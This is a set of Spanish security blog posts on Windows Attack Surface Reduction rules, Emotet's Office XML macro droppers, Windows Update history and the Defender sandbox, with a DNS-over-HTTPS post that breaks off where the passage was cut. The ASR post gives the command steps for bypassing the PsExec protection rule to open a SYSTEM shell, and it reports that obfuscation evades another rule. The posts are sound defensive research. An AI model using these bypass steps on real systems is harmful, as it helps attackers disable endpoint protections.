Resulta complicado entender todo el entramado que está montando Microsoft alrededor de Windows 10, con medidas de seguridad cada vez más integradas y complejas. Es muy positivo, sino fuera porque algunas medidas están adquiriendo una complejidad tal que para el usuario medio (poco instruido en seguridad) le resultan poco menos que esotéricas, incompresibles y por tanto, inútiles si no están activadas por defecto (que muchas no lo están). Seguimos hablando en esta entrega del ASR y sus diferentes "recetas". Bloquear la ejecución de scripts potencialmente cifrados 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC No ofrecen mucha información de cómo detectan que un script se encuentra "cifrado", en realidad quieren decir que se encuentren ofuscados, como bien se desprende de su versión en inglés ("Block execution of potentially obfuscated scripts"). Para sus pruebas en ExploitGuard Demo ( herramienta ya retirada de la que hablamos en la entrada anterior), Microsoft usaba esto (aunque parezca raro): O sea que no estaba para nada ofuscado, y claro, así resulta muy difícil evaluar la efectividad. Ese es el mismo ejemplo contenido en la herramienta, pero para JavaScript: Que pretendía estar ofuscado, pero que finalmente no lo estaba. QQQ es una variable larguísima. Pero luego ni se usa y al final se llama a todo sin ofuscar. Es como un intento frustrado, pero que se coló en su herramienta finalmente. Lo cierto es que si hacemos algo relativamente sencillo en JavaScript, y lo ofuscamos: Efectivamente, eludimos la contramedida. No entendemos qué heurística sigue para poder decidir si está ofuscado, pero realmente no funciona para casos "habituales". Y según muchos otros que han probado, realmente es que parece que no funciona para nada. Bloquear proceso creaciones originados desde comandos PsExec y WMI d1e49aac-8f56-4280-b9ba-993a6d77406c Evita que se lancen comandos desde el famoso PsExec (muy usado para lanzar comandos remotos) y scripts WMI. Esta receta de ASR funciona a medias, por ejemplo, en el caso de WMI es capaz de detener la ejecución de forma eficaz, como se muestra en la imagen, pero es abortado tras aplicar la contramedida. Esta contramedida también es capaz de detener el WMI cuando se encuentra dentro de las macros de Office, por tanto, si recordamos la entrada anterior, ahora sí que es efectivo para detener las macros WMI. Sin embargo, con PSEexec ocurre algo muy curioso. Simplemente parece no bloquearlo cuando se utiliza de forma "normal" (esto es cuando se intenta lanzar algo sin elevar). En cualquier caso, existen formas de realizar técnicas de movimiento lateral que eludan pasar por ASR, como por ejemplo se explica aquí y aquí. Ahora bien, en cualquier caso, si pretendemos utilizar PsExec para, por ejemplo, elevar privilegios a SYSTEM, sí que nos detiene la ejecución. Pero esto no tiene sentido, puesto que para elevar a SYSTEM previamente tenemos que partir de privilegios de administrador, y si se tienen privilegios de administrador, se podría simplemente desactivar la medida de protección previamente. Los detalles en la imagen. Aun así, existe una fórmula descrita aquí para eludir esta receta cuando funciona. Se basa en que cuando se ejecuta PsExec, se extrae un binario que se instala como servicio. Se extrae en c:Windows y se lanza un servicio llamado "PSInfo Service". Aunque parezca extraño, esta regla lo que bloquea es la creación del servicio en sí, por tanto, si se crea el servicio antes de lanzar el comando... no será capaz de bloquearlo. En resumen, agarramos el ejecutable en c:Windows cuando se lanza PsExec, e instalamos el servicio previamente: PSEXESVC.exe -install Y luego lo iniciamos: sc start PSINFSVC Y ya está. Ahora el comando psexec -s -i cmd.exe funcionará incluso con la receta ASR activa.Continuaremos analizando el resto de recetas en la siguiente entrada. Consulta el resto de entregas sobre "La lucha de Windows contra la ejecución de código": » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (I) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (II) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (III) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (IV) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (V) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (VI) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (VII)

Está en las noticias: Emotet es la amenaza de moda que se propaga con éxito a través de modelos de finales de los 90 (sí, en 2019). Sí, con macros. Emotet es complejo de explicar, pero iremos por partes. Últimamente ha tomado una decisión inteligente: seguir con las macros pero en un formato de Word relativamente poco conocido (efímero y en desuso) pero al que por supuesto Microsoft sigue dando soporte desde hace tres lustros. Esto le está proporcionando un gran éxito pero (y esto es lo bueno) también un punto débil. Emotet es un tipo de malware muy famoso últimamente. Si en algún momento has visto un documento con la pinta de la imagen anterior, y le has hecho caso, probablemente estarás infectado. Emotet (cómo casi todo el malware) tiene dos componentes importantes: cómo se propaga y el malware en sí. El malware en sí es una especie de troyano bancario, decimos "especie" porque es complicada su clasificación, cambia con el tiempo y las campañas. Robará información sensible, permitirá enviar spam desde el infectado, recibirá comandos de un command and control para realizar acciones… En definitiva, lo más acertado es que si alguien se infecta con Emotet, el malware tendrá el control del equipo si puede elevar privilegios, con todo lo que ello conlleva. Sus creadores no han optado por el ransomware, y por tanto pasa bastante desapercibido hasta que es demasiado tarde. Pero aquí nos interesa cómo se ha ido esparciendo y llegando a sus víctimas con el tiempo. Ha pasado por varios formatos durante los años que lleva activo, pero casi siempre ha sido a través de archivos adjuntos en el correo, PDFs y, desde hace algún tiempo, con documentos Word y Excel. Lo interesante es que en los últimos tiempos, ha migrado a un formato muy poco conocido de Word, se trata de Microsoft Office XML. No lo confundáis con Office OpenXML, que es el formato "más habitual" y que típicamente es un ZIP con muchos XMLs dentro con extensión .docx. Microsoft Office XML, por el contrario, es puro XML, plano, se activó en Microsoft sobre 2002, cuando querían abandonar su formato propio, pero todavía no estaban seguros de adoptar el estándar que tomaron en 2007. Su vida, por tanto, fue efímera y de poco éxito, pero ahí sigue: todos los Office lo soportan aún. Una pequeña introducción a los formatos de Office y sus "malditas" macros Antes de seguir con Emotet, demos un repaso a la historia de los formatos usados por Office y sus macros en VBA. Visual Basic for Applications es el lenguaje sobre el que se crean las macros en Office que apareció en 1993. Está relacionado con Visual Basic, en el sentido de que necesita de su motor para ejecutarse, pero no es independiente: debe correr dentro de otra aplicación que contenga el código, e interactuar con otras a través de objetos OLE Automation (un IPC interno de Microsoft). VBA se compila en P-Code (también usado en Visual Basic), un sistema propietario de Microsoft que permite su decompilación al formato original en el que fue escrito el código. Una vez compilado, se almacena en el documento de Office correspondiente como un flujo separado encapsulado en un objeto OLE o COM. Dependiendo de la versión del formato Office usado, este objeto puede encontrarse incrustado en el documento, o como fichero separado. Desde 2007, existen formatos muy diferentes de documentos Office que se pueden usar, aunque algunos son mucho más populares que otros. El formato propio de Microsoft anterior a 2007 con extensiones .doc y .xls (formato "clásico"). Los formatos binarios anteriores a 2007 son en realidad un objeto OLE en sí mismos y en cierta manera se asemejan a un sistema de ficheros simplificado. En estos formatos, las macros se almacenan en un directorio "Macro" que contienen a su vez el objeto COM. Basadas en formatos Open XML posteriores a 2007 cuyas extensiones son .docx y .xlsx. Estos formatos son en realidad objetos ZIP, que contienen el mismo objeto COM a modo de macro, además de una configuración estructurada fundamentalmente en XML. También existe el formato con extensión .docm, que se creó para indicar que el fichero realmente contenía macros y diferenciarlos claramente de los .docx. Pero antes de 2007 y después de 2003 se creó este formato extraño XML propietario solo de Microsoft, como ya hemos explicado, y que ahora es aprovechado por atacantes. Hemos dicho que es un formato "plano", pero ¿qué pasa si los atacantes quieren incrustar macros compiladas en él? Pues muy sencillo, se añade el dato: w:macrosPresent="yes" en el formato, y se codifica todo en base64 dentro. Ejemplo con esta macro incrustada en un documento XML plano. Para analizar esta macro, podemos agarrar todo el contenido en base64 y copiarlo a un fichero. Lo decodificamos y el binario resultante estará comprimido con ZLIB. Eliminamos la cabecera hasta el carácter 0x78. Y a su vez este resultado, se puede "deszlibear" con este simple código: Y outfile.txt será ya finalmente un documento MS "clásico" en sí mismo (objeto COM), que contendrá las macros. ¿Y por qué Emotet usa esto? ¿Porque es algo menos detectado? Hemos hecho un experimento con pocas muestras, pero interesante. Tras tomar muestras en formato XML, las hemos pasado a .doc, .docm (a .docx ya no lo permite Office si tienen macros) y, efectivamente, el formato influye en la capacidad de detección en estático . No todos los motores manejan bien todos los formatos, o al menos no con tanta habilidad. Aunque no hemos realizado el experimento completo con demasiadas muestras, sí que algo les influye. Por ejemplo, en la reciente muestra de la imagen, se trabaja con un XML plano que representa un archivo Excel. Combina compilación .NET y JavaScript y, a pesar de lo evidente de la infección en el tramo final, este tipo de fichero es muy poco detectado en estático. ¿Y cómo me libro de este formato? Pues existen varias formas, por supuesto las típicas (y por tanto menos efectivas) de utilizar antivirus (que ya se hace, pero evidentemente no es suficiente) junto con las más complejas para bastionar el sistema (privilegios, permisos, etc). Pero una fórmula sencilla es simplemente presuponer que es bastante improbable que alguien con intenciones legítimas comparta un fichero en este formato, así que bloquearlo tampoco supondrá ningún trauma. En el peor de los casos, el que lo envía podrá volver a hacerlo en cualquier otro formato si se le solicita. Tenemos varias formas, una, con el nunca suficientemente ponderado gpedeit.msc Otra, desde las opciones de seguridad del propio Word, en el centro de confianza. En el fondo, esto modifica esta rama del registro: Aunque el CLID será diferente en cada máquina. Si lo sabéis y queréis realizarlo con un sencillo script en PowerShell, esta es la fórmula: New-Item -Path "HKCU:SoftwareMicrosoftWindowsCurrentVersionGroup Policy Objects{xxxxxxx-xxxx-xxxx-xxx-xxxxxxxxxx}Usersoftwarepoliciesmicrosoftoffice16.0wordsecurityfileblock" -Force | New-ItemProperty -Name "wordxmlfiles" -Value 0 Y por supuesto, no olvidéis que podéis bloquear las macros totalmente en tres sencillos pasos.

Es complicado entender todo el entramado que está montando Microsoft alrededor de Windows 10, con medidas de seguridad cada vez más integradas y complejas. Es muy positivo, si no fuera porque algunas medidas están adquiriendo una complejidad tal, que para el usuario medio (poco instruido en seguridad), le resultan poco menos que esotéricas, incompresibles y por tanto, inútiles si no están activadas por defecto (que muchas no lo están). Hablamos en esta entrega del ASR: Attack Surface Reduction, que comenzó como un sistema de bloqueo de carga de DLLs en EMET, pero que ahora pretende frenar ataques muy concretos de forma muy específica. No dispone de interfaz gráfica, pero es bastante potente. Como ya examinamos, ASR se incluyó en EMET 5 en 2014, funcionaba sin interfaz gráfica de manera muy arcaica. Luego se mejoró su fórmula y su manejo, como introdujimos en la primera parte de La lucha de Windows contra la ejecución de código: Éxitos y fracasos. Vamos a ver ahora en qué consiste exactamente ASR hoy por hoy. ASR engloba ahora mucho más, a falta de una explicación mejor, ASR son una serie de reglas configurables destinadas a mitigar de raíz problemas comunes, relacionados con el hecho de que, desde una tecnología, se llame a otra, reduciendo su superficie de ataque. Por ejemplo, desde Office a las macros, o exploits; o desde el email a scripts, o desde USB a ejecutables no firmados. Así que básicamente, son soluciones muy ad-hoc para ciertas circunstancias y que permite combatir las macros en Office, bloquear scripts, emails, proteger programas peligrosos como Adobe Reader, y la entrada de ejecutables potencialmente dañinos a través de memorias USB. Ahora bien... ¿funciona de verdad? ¿Cómo funciona? Es sencillo, pero se trabaja principalmente desde la línea de comando de powershell (como administrador). También a través del gpedit.msc, pero en todo caso, siempre debemos conocer los GUIDs. Microsoft nos propone una serie de GUIDs, cada uno correspondiendo a una medida. En un principio, sobre 2016, eran muy pocas; pero en cada nueva versión de Windows 10 se han incorporado nuevas. Actualmente se pueden personalizar 14 reglas de reducción de superficie de ataque, daremos una breve explicación propia de cada una de ellas y comprobaremos si funcionan o no. En esta entrada evaluaremos tres de ellas.: Bloquear todas las aplicaciones de Office para que no creen procesos secundarios (Block all Office applications from creating child processes): D4F940AB-401B-4EFC-AADC-AD5F3C50688A Por supuesto, siempre leedlo en inglés. En castellano lo más probable es que no tenga ningún sentido. Ojo, no confundir con esta funcionalidad genérica de los antiexploits que se muestra en la imagen. Esta receta de ASR aplica solo a Office, mientras que en la configuración de antiexploits, podría incluirse cualquier programa. Por experiencia personal, sabemos que aplicar esta receta ASR en Office permite trabajar con él, mientras que evitar de forma genérica los procesos secundarios en Word, por ejemplo, hará que el procesador no funcione correctamente. Para activarla, sería necesario ejecutar en un powershell con privilegios de administrador: Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EfC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enable Carlos Pérez realizó hace algún tiempo un análisis sobre Block All Office applications hablando de qué bloquea y qué no bloque esta receta. Hemos reproducido parte de sus experimentos y al parecer no han variado nada en la última versión de Windows 10. Por ejemplo, esta receta bloqueará estas macros: Pero se le escapa cualquier proceso creado a través de WMI. Esta macro, por ejemplo, no es bloqueada: Lo que hace totalmente inútil esta regla... Hasta ahora, porque luego veremos que Windows creó una regla específica para impedir esta ejecución, pero lo hizo meses después en una segunda tanda de GUIDs. Pero volvamos a esta regla en particular, por sí misma, es poco potente. Hay que recordar que ni la propia herramienta de prueba que realizó Microsoft para comprobar su eficacia, era capaz de bloquear un simple ataque. Hace un tiempo, Microsoft anunciaba una herramienta (muy cutre) realizada en .NET y llamada ExploitGuard Demo que permitía evaluar la eficacia de ASR. Se basaba en establecer las reglas y la herramienta simulaba una serie de ataques de prueba. En aquel momento solo existían algunas de las recetas de ASR de las que disponemos hoy, en concreto, cuando esta herramienta simulaba la ejecución de un proceso para que la regla D4F940AB-401B-4EfC-AADC-AD5F3C50688A, lo detuviese, no lo conseguía. Si reverseamos el código (fácil en .NET) vemos cómo llama a la ejecución: Desde que le indicamos esto a Microsoft, han retirado la página donde se anuncia la herramienta, pero aún es visible en archive.org. Pasemos a otra de las recetas destinadas a bloquear los problemas que nos traen las macros. Bloquear llamadas de API de Win32 desde macros de Office (Block Win32 API calls from Office macro): 92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B Esta regla bloquea la importación de las API desde una macro, algo bastante común entre el malware de macro, puesto que habitualmente necesitará llamar a APIs del kernel (u otras librerías útiles) para completar el ataque. Esta, al contrario que la anterior, es una de las reglas más eficaces contra el malware de macro: es sencilla de implementar, no sabemos aún cómo eludirla y realmente supone un problema para los atacantes. Por ejemplo en la siguiente macro, la detendrá por la importación de la función del kernel, no por la llamada. Y este es el efecto conseguido. Seguiremos en la siguiente entrega analizando el resto de recetas de ASR. » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (I) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (II) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (III) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (IV) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (V) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (VI) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (VII)

"La nueva actualización de Windows provoca un problema". Para muchos, esta frase puede ser mencionada casi en cualquier momento. Hoy es porque degrada la versión del sistema operativo, pero no hace mucho fue que borraba ficheros. Y es que cuando se habla de las actualizaciones de Windows, nos encontramos con un sentimiento agridulce. Si bien fue el primero en algunos aspectos que luego han terminado por adoptar muchos otros fabricantes, quizás ha sido torpe en su ejecución. Reflexionemos sobre cómo el mundo de las actualizaciones ha ido llevándonos hasta lo que actualmente es. La evolución de la automatización de las actualizaciones Todo empezó con el Critical Update Notification Tool de Windows 98. La introducción del servicio inteligente de transferencia de parches en segundo plano ya en el año 2000 marcó el inicio del moderno "Windows Update", entonces desactivado por defecto. Antes de esto, cada usuario debía enterarse por sus propios medios de la existencia de un parche, acudir a la página correspondiente, descargarlo y parchear. Obviamente, existía en aquellos años todo un universo del fraude alrededor de la oferta de parches de seguridad fraudulentos. Esto sin contar con el caos que podía significar instalar parches en el orden no adecuado. Windos Update fue el primer intento de un sistema de actualización único e integrado para actualizar de forma sencilla desde un repositorio oficial. Más tarde, empezando con XP Service Pack 2 en el verano de 2004 la seguridad iría incrementado "por defecto" con respecto a la actualización ante el bajo nivel de parcheo entre el usuario medio. Windows fue criticado por buscar e instalar actualizaciones con cada vez menor intervención por parte del usuario y por la necesidad de continuos reinicios.... Pero, aunque con problemas de ejecución, la filosofía parecía la adecuada. Aplicando este mismo principio de "arrebatar el poder de decisión" al usuario, Chrome fue de los primeros programas populares que no tuvo miedo a actualizarse de forma totalmente automática, y le ha ido bastante bien. Sus usuarios no solo parchean en tiempo récord, sino que tienen la sensación de que nunca tienen que hacerlo… lo que vende muy bien estos días. Luego fue Mozilla, Acrobat, Flash… Esto ocurrió durante la década pasada. Hoy, son pocos los programas de usuario que no se actualizan solos. Pero eso fue solo el principio de la evolución de la actualización. Volvamos a 2003 y a los sistemas operativos. En octubre, muchas voces se mostraron críticas con Microsoft cuando decidió que los parches se harían públicos los segundos martes de cada mes, excepto cuando una especialmente crítica requiriese salirse del ciclo. Aplicar la racionalización de los parches, fue un claro ejemplo de cómo se apedreó al pionero, para que luego le siguieran todos los grandes fabricantes. Oracle comenzó esa práctica en agosto de 2004, Cisco en 2008, Adobe en 2009, SAP en 2010… Todos tienen su día de parcheo fijo, en ocasiones, incluso el mismo "segundo martes del mes". El catálogo es un punto de descarga oficial de los parches ¿Y qué pasa en Windows 10? Y así ha evolucionado la actualización hasta el giro ocurrido en Windows 10. Normalmente, cada 3 años aparecía un nuevo Windows "importante". Windows 95, 98 y XP en 2001. En 2004 no salió Vista por dos razones: Service Pack 2 (grandes cambios) y no llegar a tiempo a lo que ambicionaban. Así que Vista apareció tarde y mal en 2006. Luego 7 en 2009, 8 en 2012 y Windows 10 en 2015. Y en 2016 se rompió con todo lo anterior. Nada de Service Packs ni versiones. Windows 10 tiene solo dos importantes actualizaciones al año, abril y octubre, y mantiene los martes reservados para aplicar los parches de seguridad. Estas actualizaciones, a no ser que te esfuerces en detenerlas, son casi obligatorias. Esta gestión del ciclo de vida del sistema operativo no ha sido inventada precisamente por Microsoft (recuerda en cierta manera a Ubuntu) pero sí lo es nueva para Windows que parece incapaz de estabilizar el sistema con solo 6 meses de tiempo para conseguirlo. La mala fama de la última release de octubre de Windows 10 lo confirma. Como decíamos al principio, los problemas han sido importantes desde entonces. Problemas con Bluetooth, borrado de ficheros, pantallazos… Pero, ¿Esto ha sido así siempre? Pocas mejoras o cambios en el sistema están libres de fallos… ¿no será que ahora ocurren con mayor frecuencia? Las actualizaciones con mejoras (llamadas Service Packs) ocurrían aproximadamente una vez al año. Los parches de seguridad mensuales, también fallaban. Pero ahora, tenemos parches mensuales y mejoras generales cada 6 meses. Multiplicamos las publicaciones comprimiendo el tiempo entre ellas. La tasa de errores por parche podría ser la misma, solo que nuestra percepción es que ocurren con mayor frecuencia. Además… ¿es esto sostenible? Y sobre todo ¿Se entiende? Windows 7 y 10 (los más populares hoy) bajan actualizaciones cada vez más pesadas. Tanto, que existe un sistema de compartición en redes (locales y de Internet) del tráfico de parches. Opciones de compartición de descarga en Windows 10 La política de cambios en la actualización de Windows 10 también vino con otras modificaciones en el resto de sistemas operativos todavía soportados. De hecho, aunque por un lado se descarten los Service Packs, por otro se reintroduce el concepto de rollup del año 2000. Windows 2000 tuvo 4 Service Packs, y dos versiones de "rollups". Los Service Packs incluían mejoras y seguridad, y los rollups solo seguridad "acumulada" hasta el momento. Luego ya ningún otro sistema tuvo rollups… Hasta que han recuperado esta filosofía para Windows 7 y 8. Estos ya no recibe actualizaciones singulares, sino que recibe dos rollups cada mes. Unos contienen solo seguridad, y otros son una especie de Service Packs continuos. Vamos a aclararlo un poco porque está lejos de ser sencillo y la nomenclatura no ayuda. Security Only Quality Update: Solo contienen parches seguridad. Se publican cada segundo martes del mes. No se tiene muy claro cómo hacer que solo se instalen de este tipo automáticamente, a no ser que se haga manualmente desde el catálogo. En castellano, se llaman "Actualización de calidad solo referente a seguridad". Security Monthly Quality Rollup: Contienen la seguridad y además otras funcionalidades. En castellano, "Paquete acumulativo de actualizaciones de calidad y seguridad". "Vista previa del paquete acumulativo de actualizaciones de calidad y seguridad". Esto es opcional, y aparece una semana después del segundo martes de cada mes. Sirve por si quieres ver qué impacto tendrán las actualizaciones no de seguridad que aparecerán el mes siguiente. O sea, es un subconjunto sin seguridad de lo que aparecerá el mes siguiente. Y claro, como todo es acumulativo desde 2016, se ha doblado el tamaño de estos últimos que se descarga el sistema. Llega a casi 250 megas ya en la versión de 64 bits. Era de esperar. Para cuando termine la vida útil de Windows 7, estará en 500 megabytes. Si añadimos la seguridad de .NET (con sus propios rollups), sus vistas previas... hace muy pesada la actualización. Unir todos los parches de nuevo, hace que el usuario pierda flexibilidad, granularidad y control sobre el sistema. Sobre todo para la figura del administrador. Pensemos en lo peor: un parche (de cinco) da problemas en noviembre. El administrador decide no aplicar el rollup… pierde 4 parches, y debe esperar hasta diciembre, donde (esperemos) lo hayan solucionado. Peso de una actualización "habitual" en Windows 7 Conclusiones Caminamos hacia la actualización transparente, tanto en sistemas operativos como aplicaciones. Windows lo vio desde el primer momento, pero quizás con problemas: La separación para los administradores o usuarios avanzados no está clara, y no se le ofrecen ventajas para poder tener más flexibilidad sobre un sistema operativo que se usa tanto en entornos corporativos como residenciales. El usuario nunca se ha preocupado por esto, es cierto. Pero esto no conviene (ni convence) a los administradores y usuarios avanzados, que quieren o deben disponer de una estrategia más flexible de actualización. El ritmo auto-impuesto cada seis meses, el cambio de estrategia de entrega… parece que les ha pasado por encima. Premian la innovación en los parches que no parecen estar todo lo probados que sería necesario. Aun con todos los problemas, pensemos que van por el bueno camino. Quizás, cuando por fin se deshagan de todo esa herencia que tanto daño les ha hecho (como mantener XP 13 años…) y se centren solo y exclusivamente en Windows 10 como sistema operativo , puedan ser más cuidadosos con la responsabilidad y compromiso que supone la actualización automática. Porque si nos quitan el poder de actualizar cómo y cuando queramos, al menos que ellos lo hagan por nosotros sin equivocarse. Sergio de los Santos Innovación y Laboratorio de ElevenPaths ssantos@11paths.com @ssantosv

Cuando algo se define como "seguro" o peor aún "más seguro que...", se suele hacer desde la parcialidad, y habitualmente, de forma incompleta. Un claro ejemplo es cuando se habla de los navegadores más seguros. En su guerra particular, algunos incluyen entre los parámetros de evaluación solo la posibilidad de explotación, otros el número de vulnerabilidades, e incluso otros tantos (cuando les conviene), la capacidad de detectar y bloquear dominios maliciosos. Windows Defender se ha convertido en el primer antivirus que se ejecuta en un entorno aislado del sistema, esto es, dentro de una sandbox. Esto es un hito de gran mérito y, técnicamente hablando, lo convierte en el antivirus más seguro desde el punto de vista de protección ante hipotéticas explotaciones de su propio código. Pero lo más curioso es por qué lo ha hecho. ¿Qué significa "ser seguro"? Como decía, existen informes que hablan de numerosos aspectos a tener en cuenta a la hora de evaluar la seguridad de cualquier programa (y en especial de un navegador), e históricamente cada fabricante ha aprovechado los números para anunciar que se trata del "navegador más seguro". Ya sea porque contiene pocas vulnerabilidades, porque detecta muchos dominios maliciosos... Pero lo cierto es que la seguridad puede poner el acento en un punto u otro no según los informes, sino que dependiendo del tipo de usuario. Quizás a muchos perfiles no les importe lo más mínimo que el navegador bloquee dominios peligrosos. A otros puede que les importe más o menos el número de vulnerabilidades encontradas, porque esto puede ser un arma de doble filo. ¿Significa si tiene pocas, que quedan muchas por encontrar? ¿Tarda mucho o poco en solucionarlas? Opinamos que lo más importante (que seguro viene bien a todos los perfiles que usen un programa) es que las vulnerabilidades (sean las que sean) sean difíciles de explotar. Y para eso sirve una sandbox. Si continuamos con el ejemplo de los navegadores, la sandbox más completa es la de Chrome. Y no lo decimos nosotros sino todos los exploiters del mundo que se dedican a intentar eludirla y que si lo consiguen, ganan un buen puñado de dólares. Y eso que Chrome contiene más vulnerabilidades que otros navegadores... pero eso sí, sirven para poco. Volvamos a los antivirus. Microsoft ha dado un paso más con el sandboxing y ha conseguido meter en un cajón casi estanco una solución antivirus, siendo el primero. Esto lo convierte en un antivirus muy seguro. Si también es el mejor, dependerá de otros factores. ¿Por qué lo ha hecho? Probablemente no es la razón oficial, pero es interesante plantear cuánto ha podido influir Tavis Ormandy en esta decisión. Si este movimiento tecnológico e innovador del antivirus es un golpe sobre la mesa tras las muchas "humillaciones públicas" de Tavis, ahora Ormandy es el que debe quitarse el sombrero. Y así lo ha hecho. Desde hace años, Tavis hace temblar aquella tecnología sobre la que pone los ojos. En 2011 ridiculizó a Sophos por sus prácticas en seguridad, no solo por proteger mejor o peor al sistema, sino por exponerlo aun más a causa de los fallos de implementación. A un atacante le resultaría más sencillo hacerse con una máquina en la que el antivirus estuviera instalado. Volvió a atacar un año más tarde c on la segunda versión de su investigación, en la que el antivirus no quedaba muy bien. Joxean Koret, por otro lado, calificaba de " pozo sin fondo" la seguridad de los antivirus, e incluso publicó su libro para encontrar fallos en ellos tras pasear la investigación por diferentes conferencias. Ya en 2017, Tavis puso sus ojos en Windows Defender. En mayo, reportó varios problemas de denegación de servicio, para hacer que Defender dejase de funcionar aunque algunos, potencialmente, podrían conducir a la ejecución de código. En mayo también, avisaba igualmente de que el emulador (tradicional pieza de antivirus que, antes de ejecutar un PE, intenta averiguar qué quiere hacer) se ejecutaba con permisos de SYSTEM (sin sandbox todavía, claro). Lo peor es que era muy sencillo que un software emulado, tuviera el control del emulador. Esto es, si se analizaba un archivo especialmente manipulado, podría ganar privilegios de SYSTEM de manera muy simple al exportar funciones que podían tocar los "emulados" para controlar el emulador. Un poco más tarde, siguió la pelea sobre si era necesaria la exposición "pública" de las APIs. Le respondieron que sí, pero luego se retractaron ante la prueba de concepto, en la que Tavis "fuzzeaba" KERNEL32.DLL!VFS_Write API con el resultado de "crashes" de varios tipos. Finalmente se solucionó en CVE-2017-8558. Y así continuó con más fallos menores... durante mayo de 2017. Pero el fallo más importante fue el encontrado junto a Natalie Silvanovich. Consiguieron ejecutar código en Defender a través de una simple página web. Dijo que era uno de los peores problemas de ejecución de código recordados que se habían encontrado en Windows. Se resolvió en CVE-2017-0290. Durante el 2018 todavía ha seguido encontrado otros fallos en el motor, por ejemplo esto en los que se descubría que el código para hacer un RAR empeoraba el original hasta el punto de hacerlo vulnerable. Se resolvió en CVE-2018-0986. Windows Defender... para Linux Poco antes de encontrar todos estos fallos, Tavis portó Windows Defender para Linux. ¿Para qué? Justo antes de empezar a encontrar todos estos problemas, usó Linux como plataforma de fuzzing. En el readme del proyecto califica a MpEngine como "una superficie de ataque vasta y compleja, accesible a atacantes remotos". Y es que a los integrantes del Project Zero de Google, les encanta el fuzzing. Si alguien cree que miran el código abierto de Chrome para encontrar fallos, están equivocados. Si encuentran tantos fallos (en número) en Chrome es precisamente porque los buscan incansablemente, mediante fuzzing. Hacer fuzzing en Linux es más cómodo, mejores herramientas, todo más autocontenido, más escalable, sin necesidad de virtuales... El problema es portar programas que funcionen y permitan interactuar con las APIs. Tavis solventó todos estos problemas con programas que usan memoria de usuario y del kernel de Windows, y consiguió portar Defender a Linux solo para poder, precisamente, encontrar todos estos fallos más fácilmente. Por cierto, nada que ver con Wine. Wine intenta portar aplicaciones completas de Windows a Linux. Con este proyecto se pretende que Linux cargue de forma nativa DLLs de Windows y exporten sus funciones para poder usarlas. Algunos retos de Microsoft Pero no solo Ormandy superó un reto portando Defender a Linux. Ahora lo han hecho en Microsoft consiguiendo "sandboxear" Defender. No es fácil, de hecho, es el primer antivirus que lo consigue. A efectos prácticos, por si no lo conocéis, sandboxear en Windows se basa en tener permisos de integridad del tipo AppContainer, que aísla el proceso por completo. Aquí se llama MsMpEngCP.exe, y el proceso privilegiado que sigue existiendo es MsMpEng.exe. Pero el que "da la cara" hacia el exterior y puede ser vulnerado con mayor probabilidad es el contenido en la sandbox. Algunos retos que han tenido que solucionar han sido abarcar todas las entradas ( inputs, y por tanto, potenciales riesgos) que puede tener un sistema antivirus y cubrirlos en la sandbox. Desde datos de memoria, a ficheros en disco hasta el análisis en tiempo real del comportamiento. Todo esto debía quedar totalmente sandboxeado, porque es la zona de mayor riesgo. Y además minimizar la interacción entre esta sandbox y el sistema con mayores privilegios para no penalizar el rendimiento, o provocar interbloqueos o condiciones de carrera. Otro reto es compartir los recursos, como por ejemplo las firmas, para lo que han diseñado un sistema de solo lectura en memoria compartida. Sin olvidar cómo realizar las reparaciones y desinfecciones... esto se hace con altos privilegios, porque si se hicieran con los mínimos (dentro de la sandbox) y esta se comprometiera (que es lo que se espera, pero en teoría no importaría) el atacante podría aprovechar estar ahí para reemplazar los binarios no por ficheros limpios, sino sus propios recursos. Todo un complejo sistema que, esperamos, evite que Defender se convierta en un problema de seguridad. Aún no está activo por defecto, pero si lo queréis activar, simplemente ejecutad con privilegios este comando y reiniciad. setx /M MP_FORCE_USE_SANDBOX 1 Recuerda que también puedes sandboxear Edge aprovechando la virtualización... En definitiva, hasta Tavis ha celebrado el logro de Microsoft que, realmente, cambia las reglas del juego. Ahora, no importa cuántos fallos encuentre Tavis o cualquier otro. Serán muy difíciles de aprovechar y, a efectos prácticos, inútiles. ¿Seguirá intentándolo? Sergio de los Santos Innovación y laboratorio ssantos@11paths.com @ssantosv

Hace muy poco, la IETF ha elevado a RFC la propuesta de DNS sobre HTTPS. Sí, r esolver dominios a través del conocido HTTPS, con su POST, su GET e intercambio de certificados para cifrar y autenticar. La noticia tiene mucho más calado de lo que pueda parecer. Por dos razones: primera, es un nuevo paradigma de resolución que remueve los cimientos de la red. Segunda, porque el espaldarazo de disponer de RFC unido al interés mostrado por los navegadores (ávidos del poder que esto les confiere) ha hecho que en tiempo récord ya se hayan lanzado a su implementación. Dicen que garantiza tu privacidad, sí, pero… ¿Es buena o mala idea? DoH (DNS over HTTPS) es muy simple. En vez de acudir al puerto 53 de un servidor (digamos, el conocido 8.8.8.8) y preguntarle por un dominio a través de un paquete UDP o TCP, DoH estandariza la construcción de un GET o POST a un dominio HTTPS y la respuesta será el registro A y AAAA (el RFC no especifica otros registros) con la IP. Por supuesto tiene más detalles como la solución ingeniosa de que la cabecera cache-control va a convertirse en el TTL. Todo cifrado punto a punto, obviamente. ¿Recordáis cuando en un hotel se podía tunelizar a través del protocolo DNS (habitualmente no restringido) la navegación HTTP para no pagar la WiFi? Pues ahora, al revés. ¿Cómo hemos llegado a esto? El protocolo DNS es como un camello. A lo largo del tiempo, se le ha cargado con tanto peso, se le ha obligado a soportar tantos parches, remedios y "plugins", que ahora pacientemente se arrastra por el desierto sin terminar de resolver ningún problema del todo excepto para lo que fue diseñado. Y por una u otra razón, todavía ni siquiera se ha conseguido la deseada sºeguridad y/o 